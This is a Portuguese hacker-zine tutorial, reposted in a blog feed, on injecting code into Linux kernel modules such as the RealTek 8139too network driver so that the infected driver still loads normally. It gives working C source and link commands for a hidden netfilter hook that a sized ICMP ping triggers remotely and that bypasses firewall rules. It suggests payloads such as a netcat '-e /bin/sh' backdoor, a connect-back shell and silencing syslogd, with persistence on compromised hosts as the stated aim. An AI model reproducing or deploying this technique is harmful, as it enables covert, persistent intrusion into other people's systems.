<p>Voltando ao que vale, o que precisamos fazer agora, e&#8217; injetar o modulo<br />
infector.o dentro do modulo driver_original.o. Para isso, podemos utilizar o<br />
GNU Linker (ld):</p>
<p>||    &#8220;ld  combines  a  number of object and archive files,<br />
||    relo­cates their data and ties up  symbol  references.<br />
||    Usually the last step in compiling a program is to run<br />
||    ld.&#8221;</p>
<p>Para injetar o codigo do infector.o dentro do driver_original.o, podemos<br />
fazer da seguinte forma:</p>
<pre>    #ld -r -z muldefs infector.o driver_original.o -o devil.o</pre>
<p>Basicamente o que e&#8217; feito aqui e&#8217; uma injecao da funcao &#8216;int init_modu-<br />
le(void)&#8217; (a unica) do modulo infector.o para o modulo driver_original.o, crian-<br />
do um novo modulo, chamado devil.o. O codigo do driver_original.o deve ter fica-<br />
do parecido com o seguinte:</p>
<pre>/** driver_original_infectado */
#define MODULE
#define __KERNEL__

#include &lt;linux/kernel.h&gt;
#include &lt;linux/module.h&gt;

static int __init inicio(void)
{
  printk ("&lt;1&gt; Iniciando driver_original \n");
  printk ("&lt;1&gt; Executando funcoes iniciais\n");   
  printk ("&lt;1&gt; Modulo carregado e aguardando chamada a suas funcoes\n\n");
  return 0;
}

static void __exit fim(void)
{
  printk ("&lt;1&gt; Finalizando modulo orignal \n");
}

module_init(inicio);
module_exit(fim);
MODULE_LICENSE("GPL");

int init_module(void)
{
  printk ("&lt;1&gt; Iniciando funcoes do modulo injetado\n");
  return 0;
}
/** fim de driver_original_infectado */</pre>
<p>Apos carregar ele (#insmod devil.o), o seguinte e&#8217; visto em &#8216;/var/log/alert&#8217;:</p>
<p>Nov 14 18:34:42 matrix kernel:  Iniciando funcoes do modulo injetado</p>
<p>Esta funcionando, mas nao perfeitamente, ainda. Alguns detalhes devem<br />
ser observados. Um pouco de teoria:</p>
<p>Em um LKM, a primeira funcao a ser executada e&#8217; a init_module() OU algu-<br />
ma funcao passada como argumento para a macro module_init() (que no caso do<br />
driver_original.c, foi a funcao &#8216;inicio&#8217;). A macro module_init() esta declarada<br />
em &#8216;/usr/src/linux/include/linux/init.h&#8217;:</p>
<pre>|| /**
||  * module_init() - driver initialization entry point
||  * @x: function to be run at kernel boot time or module insertion
||  *
||  * module_init() will add the driver initialization routine in
||  * the "__initcall.int" code segment if the driver is checked as
||  * "y" or static, or else it will wrap the driver initialization
||  * routine with init_module() which is used by insmod and
||  * modprobe when the driver is used as a module.
|| */
|| #define module_init(x)  __initcall(x);</pre>
<p>Se observar, vera que no codigo teria tanto a funcao &#8220;module_init&#8221; quanto<br />
a &#8220;init_module&#8221;. Entao, caso o codigo acima fosse compilado, ocorreria um erro:</p>
<pre>    error: redefinition of `init_module'
    error: `init_module' previously defined here</pre>
<p>O mesmo ocorreria se eles fossem  compilados separados e  posteriomente<br />
linkados. Para contornar este problema, compilamos os arquivos separadamentes e<br />
linkamos,  passando o argumento &#8216;-z muldefs&#8217; para o ld,  informando a ele para<br />
aceitar definicoes multiplas de uma mesma funcao. Desta forma podemos substituir<br />
(sobreescrever) a funcao &#8216;module_init(inicio)&#8217;, que inicializa o driver_original<br />
.o, pela funcao init_module() do modulo infector.o.</p>
<p>Dessa forma teriamos o nosso modulo injetado dentro do modulo que esta-<br />
mos tentando infectar. So tem um detalhe: A funcao &#8216;module_init(inicio)&#8217; que se-<br />
ra sobreescrita contem codigo que pode ser essencial para o modulo, em sua ver-<br />
sao nao infectada (aqui o codigo original apenas exibe mensagens, mas normalmen-<br />
te nao e&#8217; apenas isso que ocorre), e deve continuar sendo executado.  Para que<br />
tudo funcione corretamente, basta que o modulo infector.o, em sua inicializacao,<br />
execute uma chamada para a funcao inicio() do modulo driver_original.o.<br />
Complicou? Observe:</p>
<pre>&lt;++&gt; lkm_injection/infector2.c
/*
 * Simples exemplo de modulo (note que tem apenas a funcao init_module, ou
 * seja, so executa alguma funcao durante o carregamento dele), que sera
 * utilizado para ser injetado em um outro modulo. Apos carregado, executa funcao
 * principal do modulo infectado
 */
#define MODULE
#define __KERNEL__

#include &lt;linux/kernel.h&gt;
#include &lt;linux/module.h&gt;

int init_module(void)
{
  printk ("&lt;1&gt; Iniciando funcoes do modulo injetado\n");
  printk ("&lt;1&gt; ***inicializando modulo original*** \n\n");
  inicio (); // funcao inicio do driver_original, chamada para
             // inicializacao dele
  return 0;
}
&lt;--&gt; lkm_injection/infector2.c</pre>
<p>Compilamos o novo modulo e linkamos com o modulo original, criando um outro<br />
modulo, chamado devil.o:</p>
<pre>    # gcc -O3 -c infector2.c
    # ld -r -z muldefs infector2.o driver_original.o -o devil.o</pre>
<p>Apos carregar o modulo (#rmmod devil; insmod devil.o), vemos o seguinte em<br />
&#8216;/var/log/alert&#8217;:</p>
<p>Nov 14 18:39:24 matrix kernel:  Iniciando funcoes do modulo injetado<br />
Nov 14 18:39:24 matrix kernel:  ***inicializando modulo original***<br />
Nov 14 18:39:24 matrix kernel:  Iniciando driver_original<br />
Nov 14 18:39:24 matrix kernel:  Executando funcoes iniciais<br />
Nov 14 18:39:24 matrix kernel:  Modulo carregado e aguardando chamada a<br />
suas funcoes</p>
<p>Exatamente o que e&#8217; necessario:<br />
- Nosso modulo e&#8217; executado, fazendo o que precisa;<br />
- Nosso modulo chama a funcao original do modulo que foi infectado;<br />
- Modulo original funciona normalmente, como se nada tivesse acontecido.<br />
So precisamos de algum codigo util para ser executado e algum modulo para<br />
servir de hospedeiro!</p>
<p>&#8211;=[ Localizando o Hospedeiro</p>
<p>Como dito anteriormente, a primeira funcao a ser executada em um modulo<br />
pode ser tanto module_init(FUNCAO), quanto  init_module(). No caso da infeccao<br />
de um modulo que seja inicializado por  module_init(FUNCAO), so precisamos nos<br />
certificar que o codigo que infectou o modulo original faca uma chamada para<br />
&#8216;FUNCAO&#8217;, garantindo assim que tudo que deve ser executado por ele ao ser car-<br />
regado realmente sera executado. Agora, no caso da infeccao de um modulo que e&#8217;<br />
inicializado por init_module(), a situacao e&#8217; diferente. E&#8217; necessario literal-<br />
mente reescrever o init_module() do modulo original dentro do  modulo que  ira<br />
causar a  infeccao. Isto  pode  ser  um  tanto chato de se fazer, dependendo do<br />
tamanho da funcao de inicializacao. Por este simples motivo, sera dado preferen-<br />
cia aos modulos que sejam inicializados por module_init(FUNCAO).</p>
<p>Decidir qual modulo utilizar nao deve ser uma tarefa muito complicada.<br />
Vamos levar em consideracao o seguinte:</p>
<p>- Para que possamos acessar uma maquina remota, ela obviamente esta conectada<br />
a rede atraves de algum dispositivo, que normalmente e&#8217; uma interface de rede<br />
(ethernet);<br />
- Para que a interface de rede possa ser utilizada, e&#8217; necessaria a utilizacao<br />
de algum tipo de driver;<br />
- A maioria das distribuicoes de linux atualmente, colocam os drivers de<br />
interfaces de rede como modulos;</p>
<p>Com estas informacoes, conclui-se que e&#8217; bastante interessante a infec-<br />
cao de um driver de interface de rede (se a maquina nao carregar este modulo a<br />
cada inicializacao do sistema,  ela nao tera  acesso a rede e nos nao teremos<br />
acesso a ela de qualquer forma, por isso a escolha).</p>
<p>Outro detalhe que vale observar e&#8217; que muitas maquinas costumam utilizar<br />
placas de rede comuns (realtek, sis900, 3com), assim utilizam os mesmos modulos<br />
(sistemas diferentes utilizando modulos iguais), o que facilitaria bastante a<br />
escrita de nosso codigo de infeccao. Vamos dar uma observada no codigo destes<br />
modulos controladores de dispositivos de rede:</p>
<pre>|| /** realtek 8139 */
|| /*
||   8139too.c: A RealTek RTL-8139 Fast Ethernet driver for Linux.
||    Maintained by Jeff Garzik &lt;jgarzik@pobox.com&gt;
||   Copyright 2000-2002 Jeff Garzik
|| */
|| ...
|| muito codigo
|| ...
|| module_init(rtl8139_init_module);
|| module_exit(rtl8139_cleanup_module);
|| /** fim de realtek 8139 */

|| /** sis900 */
|| /* sis900.c: A SiS 900/7016 PCI Fast Ethernet driver for Linux.
||    Copyright 1999 Silicon Integrated System Corporation
||    Revision: 1.08.06 Sep. 24 2002
||       
||    Modified from the driver which is originally written by Donald Becker.
|| */
|| ...
|| muito codigo
|| ...
|| module_init(sis900_init_module);
|| module_exit(sis900_cleanup_module);
|| /** fim de sis900 */

|| /** ne2k */
|| /* ne2k-pci.c: A NE2000 clone on PCI bus driver for Linux. */
|| /*
||  A Linux device driver for PCI NE2000 clones.
|| */
|| ...
|| muito codigo
|| ...
|| module_init(ne2k_pci_init);
|| module_exit(ne2k_pci_cleanup);
|| /** ne2k */</pre>
<p>O codigo completo dos arquivos esta em &#8216;/usr/src/linux/drivers/net&#8217;.<br />
Nota alguma semelhanca entre o codigo desses drivers e o codigo do<br />
&#8220;driver_original.c&#8221;? Observa-se que muitos destes drivers estao codificados de<br />
forma a facilitar o nosso trabalho. Tendo entao alguns hospedeiros selecionados,<br />
vamos juntar alguns codigos interessantes para injetar neles.</p>
<p>&#8211;=[ Colocando Algum Codigo Util</p>
<p>Agora que ja sabemos como fazer, precisamos decidir o que fazer. Algumas<br />
ideias:</p>
<p>- Uma backdoor;<br />
- Um logcleanner;<br />
- Um rootkit;<br />
- Um sninffer;<br />
- Qualquer coisa que voce tiver ideia! Voce esta no comando.</p>
<p>Com as ferramentas em maos, vamos ver uma pseudo-implementacao de algum<br />
codigo realmente util. O codigo a seguir e&#8217; uma LKM que contem um codigo inofen-<br />
sivo, ate que o kernel manipule um pacote ICMP de 50 bytes (em outras palavras,<br />
o codigo nocivo da LKM e&#8217; ativado por um PING remoto de 50 bytes, que pode ser<br />
feito assim: $ping -s 22 ip.da.vitima). Isso e&#8217; feito com a criacao de um hook<br />
no netfilter, que e&#8217; adicionado antes de outras possiveis regras que  poderiam<br />
ter sido criadas para bloquear pacotes ICMP, ou seja, voce pode com isso passar<br />
por um conjunto de regras que tornaria a vitima inacessivel. E mais, voce pode<br />
criar regras on-the-fly,  para permitir que a maquina que enviou o pacote ICMP<br />
tenha acesso irrestrito. Resumindo, voce pode inutilizar as regras que tenham<br />
sido criadas.</p>
<p>Para execucao, e&#8217; possivel colocar o que quiser: uma backdoor (que tal<br />
executar o netcat ouvindo em uma porta X e passar a opcao &#8220;-e /bin/sh&#8221; para ele?<br />
Uma root shell sem muito esforco), uma backdoor em connect-back  (que tal esse<br />
mesmo netcat se conectar no ip de quem enviou o pacote ICMP), desativar o syslo-<br />
gd enquanto o ip de quem enviou o pacote  ICMP estiver se comunicando com a ma-<br />
quina, etc. Observe que, se receber 50 pacotes do tamanho especifico, o codigo<br />
nocivo sera executado 50 vezes, o que nao sera bom na maioria dos casos.  No<br />
exemplo, apenas exibe uma mensagem, entao nao teremos problemas. Tenha isso em<br />
mente no momento que for implementar algo e controle a execucao do codigo noci-<br />
vo. Segue a implementacao:</p>
<pre>&lt;++&gt; lkm_injection/injekt.c
/*
 * Implementacao de lkm com codigo nocivo ativado remotamente,
 * atraves do recebimento de um pacote ICMP de 50 bytes, que pode
 * ser alterado passando o parametro pkt_size:
 * #insmod injekt.o pkt_size=100
 *
 */
#define __KERNEL__
#define MODULE

#define P_SIZE_OFFSET 28

#include &lt;linux/kernel.h&gt;
#include &lt;linux/module.h&gt;
#include &lt;linux/ip.h&gt;
#include &lt;linux/net.h&gt;
#include &lt;linux/in.h&gt;
#include &lt;linux/netfilter.h&gt;
#include &lt;linux/netfilter_ipv4.h&gt;
#include &lt;linux/netdevice.h&gt;

/* declaracoes de variaveis e prototipo de funcoes  */
int exec_injetk(void);
unsigned int pkt_size = 22;
struct nf_hook_ops nfh;
unsigned int i_ll_hook_you(unsigned int hooknum,
                            struct sk_buff **skb,
                            const struct net_device *in,
                            const struct net_device *out,
                            int (*okfn)(struct sk_buff*));

/* funcao principal do modulo */
int __init init_injekt()
{
    printk ( "&lt;1&gt; Inicializando : icmp_pkt_size:  " \
                 "%i bytes\n\n", pkt_size + P_SIZE_OFFSET);

    /* informacoes para registrar o hook do netfilter */
    nfh.hooknum  = NF_IP_LOCAL_IN;
    nfh.priority = NF_IP_PRI_FIRST;
    nfh.hook     = i_ll_hook_you;
    nfh.pf       = PF_INET;

    /* a hook e' criada */
    nf_register_hook(&amp;nfh);

    return 0;
}

/* funcao de saida do modulo */
void __exit exit_injekt ( )
{
    /* remove a hook */   
    nf_unregister_hook( &amp;nfh );
}

/* O que sera feito quando receber o pacote ICMP do tamanho especificado  */
int i_am_terrible( )
{
    printk ( "&lt;1&gt; EU SOU UMA LKM DO MAU!!!\n\n" );
    return 0;
}

/* aqui temos a hook propriamente dita */
unsigned int i_ll_hook_you (
            unsigned int hooknum,
                    struct sk_buff **skb,
                    const struct net_device *in,
                    const struct net_device *out,
                    int (*okfn)(struct sk_buff * ) ) {

    struct sk_buff *sk = *skb;
    /* verifica se o protocolo e' icmp e o tamanho do pacote e' o especificado */
    if ( sk-&gt;nh.iph-&gt;protocol == IPPROTO_ICMP &amp;&amp;
         sk-&gt;len == P_SIZE_OFFSET + pkt_size ) {
        /* informa que recebeu o pacote */
    //printk ( "&lt;1&gt; Recebido pacote de %i bytes )\n\n", sk-&gt;len );
    i_am_terrible();
    return NF_STOLEN; /* elimina o pacote! */
    }
    return NF_ACCEPT; /* retorna o pacote para ser feito o que for preciso */
}

/* informacoes do modulo */
module_init ( init_injekt );
module_exit ( exit_injekt );
MODULE_PARM ( pkt_size, "i" );
MODULE_PARM_DESC ( pkt_size, "Tamanho de pacote ICMP  ( Padrao = 50 )" );
MODULE_LICENSE ( "GPL" );
MODULE_AUTHOR  ( "tDs &lt;tds@motdlabs.org&gt;" );
MODULE_DESCRIPTION ( ":: keep your mind free() ::" );
&lt;--&gt; lkm_injection/injekt.c</pre>
<p>&#8211;=[ Cenario Real: Infectando um Driver</p>
<p>Vamos utilizar como exemplo o driver 8139too.o, que normalmente esta em<br />
&#8220;/lib/module/kernel_versao/kernel/drivers/net/8139too.o.gz&#8221;. Note que ele esta<br />
compactado (na maioria das distribuicoes),  entao nao tente injetar seu modulo<br />
sem antes descompactar.  O codigo que sera injetado e&#8217; o que foi exposto acima,<br />
levemente modificado (embora continue fazendo nada mais do que exibir mensagens).<br />
Segue o codigo:</p>
<pre>&lt;++&gt;lkm_injection/8139injekt.c
/*
 * Implementacao de lkm com codigo nocivo ativado remotamente,
 * atraves do recebimento de um pacote ICMP de 50 bytes, que pode
 * ser alterado passando o parametro pkt_size:
 * #insmod 8139injekt.o pkt_size=100
 * preparado para infectar driver da placa de rede realtek 8139too
 * /lib/modules/2.4.x/kernel/drivers/net/8139too.o.gz
 *
 */
#define __KERNEL__
#define MODULE

#define P_SIZE_OFFSET 28

#include &lt;linux/config.h&gt;
#include &lt;linux/kernel.h&gt;
#include &lt;linux/module.h&gt;
#include &lt;linux/ip.h&gt;
#include &lt;linux/net.h&gt;
#include &lt;linux/in.h&gt;
#include &lt;linux/netfilter.h&gt;
#include &lt;linux/netfilter_ipv4.h&gt;
#include &lt;linux/netdevice.h&gt;
#include &lt;linux/pci.h&gt;

int exec_injetk(void);
extern RTL8139_DRIVER_NAME;
extern rtl8139_pci_driver;
//extern pci_module_init();
unsigned int pkt_size = 22;
struct nf_hook_ops nfh;
unsigned int i_ll_hook_you(unsigned int hooknum,
                            struct sk_buff **skb,
                            const struct net_device *in,
                            const struct net_device *out,
                            int (*okfn)(struct sk_buff*));

int init_module()
{
    /* codigo do driver original */
        /* when we're a module, we always print a version message,
         * even if no 8139 board is found.
         */
#ifdef MODULE
        printk("&lt;8&gt; %s \n", RTL8139_DRIVER_NAME);
#endif

    nfh.hooknum  = NF_IP_LOCAL_IN;
    nfh.priority = NF_IP_PRI_FIRST;
    nfh.hook     = i_ll_hook_you;
    nfh.pf       = PF_INET;
    nf_register_hook(&amp;nfh);

    /* codigo do driver original */
    return pci_module_init(&amp;rtl8139_pci_driver);
}

void cleanup_module ( )
{
    /* remove a hook */
    nf_unregister_hook( &amp;nfh );
    /* codigo do driver original */
    pci_unregister_driver(&amp;rtl8139_pci_driver);
}
int i_am_terrible( )
{
    printk ( "&lt;1&gt; EU SOU UMA LKM DO MAU!!!\n\n" );
    return 0;
}
unsigned int i_ll_hook_you (
            unsigned int hooknum,
                    struct sk_buff **skb,
                    const struct net_device *in,
                    const struct net_device *out,
                    int (*okfn)(struct sk_buff * ) ) {
    struct sk_buff *sk = *skb;
    if ( sk-&gt;nh.iph-&gt;protocol == IPPROTO_ICMP &amp;&amp;
         sk-&gt;len == P_SIZE_OFFSET + pkt_size ) {
    i_am_terrible();
    return NF_STOLEN;
    }
    return NF_ACCEPT;
}
MODULE_PARM ( pkt_size, "i" );
MODULE_PARM_DESC ( pkt_size, "Tamanho de pacote ICMP  ( Padrao = 50 )" );
&lt;--&gt;lkm_injection/8139injekt.c</pre>
<p>Compile e linke o modulo. Apos linkar, sera exibida uma mensagem de<br />
advertencia:</p>
<pre>    # gcc -O3 -c 8139injekt.c
    # ld -r -z muldefs 8139inject.o 8139too.o -o devil.o
    ld: Warning: size of symbol `init_module' changed from 139 in badcode.o
    to 70 in 8139too.o
    ld: Warning: size of symbol `cleanup_module' changed from 32 in badcode.o
    to 12 in 8139too.o
    # modinfo devil.o
    filename:    devil.o
    description: "RealTek RTL-8139 Fast Ethernet driver"
    author:      "Jeff Garzik &lt;jgarzik@pobox.com&gt;"
    license:     "GPL"
    parm:        pkt_size int, description "Tamanho de pacote ICMP 
                 ( Padrao = 50 )"
    parm:        multicast_filter_limit int, description "8139too maximum number
                 of filtered multicast addresses"
    parm:        max_interrupt_work int, description "8139too maximum events
                 handled per interrupt"
    parm:        media int array (min = 1, max = 8), description "8139too: Bits
                 4+9: force full duplex, bit 5: 100Mbps"
    parm:        full_duplex int array (min = 1, max = 8), description "8139too:
                 Force full duplex for board(s) (1)"
    parm:        debug int, description "8139too bitmapped message enable number"</pre>
<p>Observe que o modulo agora contem o parametro que definimos anteriormen-<br />
te, em nosso modulo. Apos carregar o modulo, o hook do netfilter que foi criada<br />
estara disponivel e, para ativar a nossa funcao &#8220;i_am_terrible&#8221;, basta um<br />
&#8220;ping -s 22 ip.da.vitima&#8221;. Note que o PING nao vai retornar resposta, visto que<br />
o pacote sera descartado no hook. Entretanto, funcionara perfeitamente. Ultima<br />
observacao: Nao tente fazer isso com um driver de um dispositivo nao presente<br />
na maquina, os resultados podem ser desastrosos ( panic() ).</p>
<p>Muito pode ser feito com infeccao de modulo, embora pessoas com maior<br />
conhecimento normalmente utilizam-se de outros meios para manter acesso em<br />
hosts previamente dominados. A utilizacao de modulos para esse fim pode ser<br />
bastante efetiva e ao mesmo tempo muito simples de ser implemtentada.</p>
<p>&#8211;=[ Agradecimentos e Links/Referencias</p>
<p>Pessoal da scene brasileira toda, em especial ao pessoal que converso<br />
com maior frequencia. Voces sabem quem sao voces.<br />
Informacao e&#8217; simples de se adquirir, internet esta cheia disso. Basta saber<br />
procurar.</p>
<p><a href="http://www.motdlabs.org" target="_blank">http://www.motdlabs.org</a><br />
<a href="http://tds.motdlabs.org" target="_blank">http://tds.motdlabs.org</a><br />
<a href="http://gcc.gnu.org/onlinedocs/gcc-3.4.4/gcc/" target="_blank">http://gcc.gnu.org/onlinedocs/gcc-3.4.4/gcc/</a><br />
<a href="http://www.gnu.org/software/binutils/manual/ld-2.9.1/html_chapter/ld_toc.html" target="_blank">http://www.gnu.org/software/binutils/manual/ld-2.9.1/html_chapter/ld_toc.html</a><br />
<a href="http://www.netfilter.org/" target="_blank">http://www.netfilter.org/</a></p>
<p>_EOF_</p>
<p><a href="http://v0n.web44.net/zines/motd/ed04/04_LKM%20Code%20Injection.txt" target="_blank">Fonte</a></p>
<img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/0x66.wordpress.com/21/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/0x66.wordpress.com/21/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/0x66.wordpress.com/21/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/0x66.wordpress.com/21/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/0x66.wordpress.com/21/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/0x66.wordpress.com/21/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/0x66.wordpress.com/21/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/0x66.wordpress.com/21/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/0x66.wordpress.com/21/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/0x66.wordpress.com/21/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/0x66.wordpress.com/21/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/0x66.wordpress.com/21/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0x66.wordpress.com&blog=3859187&post=21&subd=0x66&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://0x66.wordpress.com/2008/06/19/lkm-code-injection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">VonNaturAustreVe</media:title>
		</media:content>
	</item>
	</channel>
</rss>